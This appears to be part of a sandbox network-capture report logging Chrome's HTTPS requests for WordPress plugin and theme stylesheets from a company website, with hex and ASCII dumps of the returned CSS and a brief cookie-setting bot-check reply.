2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 61 29 3a 76 69 73 69 74 65 64 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 70 61 63 69 74 79 3a 2e 38 35 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 2e 69 73 2d 6c 61 62 65 6c 2d 69 6e 6c 69 6e 65 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 Data Ascii: a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 36 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 36 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 Data Ascii: ested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-g
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 2d 63 68 69 6c 64 28 32 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 67 61 6c 6c 65 72 79 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 2e 63 6f 6c 75 6d 6e 73 2d 64 65 66 61 75 6c 74 20 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 6e 74 68 2d 6c 61 73 74 2d 63 68 69 6c 64 28 32 29 7e 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 76 61 72 28 2d 2d 77 70 2d 2d 73 74 79 6c 65 2d 2d 75 6e 73 74 61 62 6c 65 2d 67 61 6c 6c 65 72 79 2d 67 61 70 2c 20 31 36 70 78 29 2a 2e 35 29 7d 2e 77 70 2d 62 6c 6f Data Ascii: -child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-blo
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 69 67 68 74 62 6f 78 2d 7a 6f 6f 6d 2d 69 6e 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 63 61 6c 63 28 28 2d 31 30 30 76 77 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 29 29 2f 32 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 69 6e 69 74 69 61 6c 2d 6c 65 66 74 2d 70 6f 73 69 74 69 6f 6e 29 29 2c 63 61 6c 63 28 2d 35 30 76 68 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 69 6e 69 74 69 61 6c 2d 74 6f 70 2d 70 6f 73 69 74 69 6f 6e 29 29 29 20 73 63 61 Data Ascii: ility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) sca
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 65 72 74 69 63 61 6c 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 3a 69 6e 69 74 69 61 6c 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 61 6c 69 67 6e 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 6e 6f 2d 77 72 61 70 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 3a 6e 6f 77 72 61 70 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 74 65 6d 73 2d 6a 75 73 74 69 66 69 65 64 2d 63 65 6e 74 65 72 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f Data Ascii: ertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justificatio
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 2c 77 72 61 70 29 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 76 61 72 28 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 2c 69 6e 69 74 69 61 6c 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f Data Ascii: navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49721	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	622	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 59240 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:11 UTC	7937	IN	Data Raw: 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 5f 5f 74 6f 67 67 6c 65 20 69 6d 67 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 7d 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 75 Data Ascii: html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu u
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 61 6e 65 6c 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 6e 65 6c 5f 5f 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 70 61 6e 65 6c 2d 73 65 74 74 69 6e 67 73 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 64 69 76 3e 62 75 74 74 6f 6e 3e 73 70 61 6e 2e 61 6e 74 69 63 6f 6e 2d 6d 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 7d 2e 77 70 6d 6c 2d 6c 73 2d 70 61 6e 65 6c 2d 73 65 74 74 69 6e 67 73 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 64 69 76 3e 62 75 74 74 6f 6e 3e 73 70 61 6e 2e 61 6e 74 69 63 6f 6e Data Ascii: arrow{display:none}.wpml-ls-typography-panel .components-panel__arrow{display:none}.wpml-ls-panel-settings-dropdown-container>div>button>span.anticon-more{font-size:large;margin-right:10px}.wpml-ls-panel-settings-dropdown-container>div>button>span.anticon
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 64 6f 77 6e 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 64 6f 77 6e 2d 69 6e 6e 65 72 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d 75 70 2d 69 6e 6e 65 72 2d 69 63 6f 6e 2c 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 68 61 6e 64 6c 65 72 2d Data Ascii: .ant-input-number-handler-up-inner .ant-input-number-handler-up-inner-icon,.ant-input-number-handler-up-inner .ant-input-number-handler-down-inner-icon,.ant-input-number-handler-down-inner .ant-input-number-handler-up-inner-icon,.ant-input-number-handler-
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 6e 74 2d 73 65 6c 65 63 74 2d 63 75 73 74 6f 6d 69 7a 65 2d 69 6e 70 75 74 29 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 68 6f 77 2d 61 72 72 6f 77 20 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 73 65 61 72 63 68 7b 72 69 67 68 74 3a 32 38 70 78 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 69 6e 67 6c 65 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 6d 3a 6e 6f 74 28 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 63 75 73 74 6f 6d 69 7a 65 2d 69 6e 70 75 74 29 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 68 6f 77 2d 61 72 72 6f 77 20 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 69 74 65 6d 2c 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 69 6e 67 6c 65 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 6d 3a 6e 6f 74 28 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 63 75 Data Ascii: nt-select-customize-input).ant-select-show-arrow .ant-select-selection-search{right:28px}.ant-select-single.ant-select-sm:not(.ant-select-customize-input).ant-select-show-arrow .ant-select-selection-item,.ant-select-single.ant-select-sm:not(.ant-select-cu
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 31 3b 2d 6d 73 2d 66 6c 65 78 3a 31 3b 66 6c 65 78 3a 31 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 63 6f 6c 6f 72 3a 23 62 66 62 66 62 66 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 61 6c 6c 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 6e 6f 6e 65 29 7b 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 20 2a 3a 3a 2d 6d 73 2d 62 61 63 6b 64 72 6f 70 2c Data Ascii: }.ant-select-selection-placeholder{-webkit-box-flex:1;-ms-flex:1;flex:1;overflow:hidden;color:#bfbfbf;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}@media all and (-ms-high-contrast: none){.ant-select-selection-placeholder *::-ms-backdrop,
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 68 61 6e 64 6c 65 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 6d 61 72 6b 7b 72 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 6d 61 72 6b 2d 74 65 78 74 7b 72 69 67 68 74 3a 34 70 78 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 Data Ascii: ider-vertical .ant-slider-handle{margin-right:-5px;margin-left:0}.ant-slider-rtl.ant-slider-vertical .ant-slider-mark{right:12px;left:auto}.ant-slider-rtl.ant-slider-vertical .ant-slider-mark-text{right:4px;left:auto}.ant-slider-rtl.ant-slider-vertical .a
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 69 6e 2d 77 69 64 74 68 3a 6d 61 78 2d 63 6f 6e 74 65 6e 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 75 6c 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 7b 6d 61 72 67 69 6e 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 Data Ascii: splay:flex;align-items:center;min-width:max-content}.wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal{margin:0;min-width:inherit !important}.wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navi
2024-10-07 12:10:11 UTC	3303	IN	Data Raw: 6e 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 27 5d 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 3e 64 69 76 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 73 70 61 63 65 2d 62 65 74 77 65 65 6e 20 5b 64 61 74 61 2d 74 79 70 65 3d 27 77 70 6d 6c 2f 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 27 5d 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 20 2e 68 6f 72 69 7a 6f 6e 74 61 6c 2d 6c 69 73 74 7b 64 69 73 70 6c 61 79 3a 63 6f 6e 74 65 6e 74 73 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 Data Ascii: n-language-switcher'] .wp-block-navigation-item>div,.wp-block-navigation.is-content-justification-space-between [data-type='wpml/navigation-language-switcher'] .wp-block-navigation-item .horizontal-list{display:contents}.wp-block-navigation.is-content-jus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49720	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	607	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:11 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	650	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 1716 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:11 UTC	1716	IN	Data Raw: 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 7b 77 69 64 74 68 3a 31 35 2e 35 65 6d 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 3e 75 6c 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 2e 77 70 6d 6c 2d 6c 73 2d 63 75 72 72 65 6e 74 2d 6c 61 6e 67 75 61 67 65 3a 66 6f 63 75 73 20 2e 77 70 6d 6c 2d 6c 73 2d 73 75 62 2d 6d 65 6e 75 2c 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 2e 77 70 6d 6c 2d Data Ascii: .wpml-ls-legacy-dropdown{width:15.5em;max-width:100%}.wpml-ls-legacy-dropdown>ul{position:relative;padding:0;margin:0!important;list-style-type:none}.wpml-ls-legacy-dropdown .wpml-ls-current-language:focus .wpml-ls-sub-menu,.wpml-ls-legacy-dropdown .wpml-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	586	OUT	GET /2016/wp-content/themes/twb_2016/style.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:49:50 GMT Accept-Ranges: bytes Content-Length: 14747 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:11 UTC	7937	IN	Data Raw: 2f 2a 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 77 62 5f 32 30 31 36 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 75 6e 64 65 72 73 63 6f 72 65 73 2e 6d 65 2f 0a 41 75 74 68 6f 72 3a 20 50 61 67 65 77 6f 72 6b 73 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 61 67 65 2e 77 6f 72 6b 73 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 63 75 73 74 6f 6d 20 74 68 65 6d 65 20 66 6f 72 20 54 57 42 20 43 6f 6d 70 61 6e 79 2c 20 4c 4c 43 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 2e 30 0a 4c 69 63 65 6e 73 65 3a 20 47 4e 55 20 47 65 6e 65 72 61 6c 20 50 75 62 6c 69 63 20 4c 69 63 65 6e 73 65 20 76 32 20 6f 72 20 6c 61 74 65 72 0a 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c Data Ascii: /*Theme Name: twb_2016Theme URI: http://underscores.me/Author: PageworksAuthor URI: http://www.page.worksDescription: A custom theme for TWB Company, LLCVersion: 1.0.0License: GNU General Public 